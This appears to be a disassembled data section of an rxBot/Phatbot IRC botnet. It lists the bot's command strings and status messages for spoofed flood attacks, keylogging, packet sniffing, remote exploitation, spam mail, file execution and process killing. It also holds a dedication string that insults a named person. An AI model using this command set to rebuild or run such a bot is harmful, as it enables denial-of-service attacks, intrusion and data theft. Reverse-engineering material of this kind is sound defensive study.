'- Message has been sent successfuly',0 align 10h unk_42A790 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42A7C4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42A7FC db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 10h unk_42A850 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A888 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42A8D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42A908 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A940 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42A9CC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 10h aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o ; ___:00437F88o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 4 aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 4 dword_42AB08 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42AB44 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 4 aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 4 unk_42AB8C db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 4 aC: ; DATA XREF: sub_401ACD+4BCCo ; ___:00437C40o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 4 aE: ; DATA XREF: sub_401ACD+4B02o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 4 aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 4 aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 4 aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 10h aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 10h aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 10h aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; ___:00437C50o unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 10h aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42AD1C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42AD38 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42AD64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42AD84 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o align 4 unk_42ADAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42ADCC db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 4 aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42AE14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42AE34 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 10h unk_42AE60 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42AE9C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42AED8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42AEFC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 4 dword_42AF1C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42AF48 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42AF94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42AFB4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42AFEC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 10h dword_42B020 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B04C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B074 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B120 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 10h unk_42B150 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B178 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B1A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B1E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B21C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B24C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; ___:00437C44o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 10h aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo align 4 aO: ; DATA XREF: sub_401ACD+3E7Ao unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 10h aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 10h aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; ___:00437C2Co unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; ___:00437C4Co unicode 0, <n>,0 unk_42B34C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42B3AC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42B3C4 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42B3DC dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 10h aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42B424 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B44C dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42B450 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42B45C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42B464 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 10h aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 10h aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 10h aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42B4D4 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42B4E8 dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42B4EC dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42B4FC dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42B500 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42B504 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 10h aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 10h aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 4 unk_42B56C db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B5AC db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42B5E4 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 10h unk_42B610 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 10h unk_42B650 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42B68C db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42B6B8 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42B6E4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42B6F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42B7A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 10h dword_42B7E0 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42B814 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42B854 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 10h dword_42B880 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42B8BC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42B8E4 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42B8F4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42B900 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42B910 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42B920 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42B954 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h dword_42B9D0 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42B9E8 db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BA24 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42BA44 dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42BA48 dd 234032Dh, 6E69616Dh, 202D0302h, 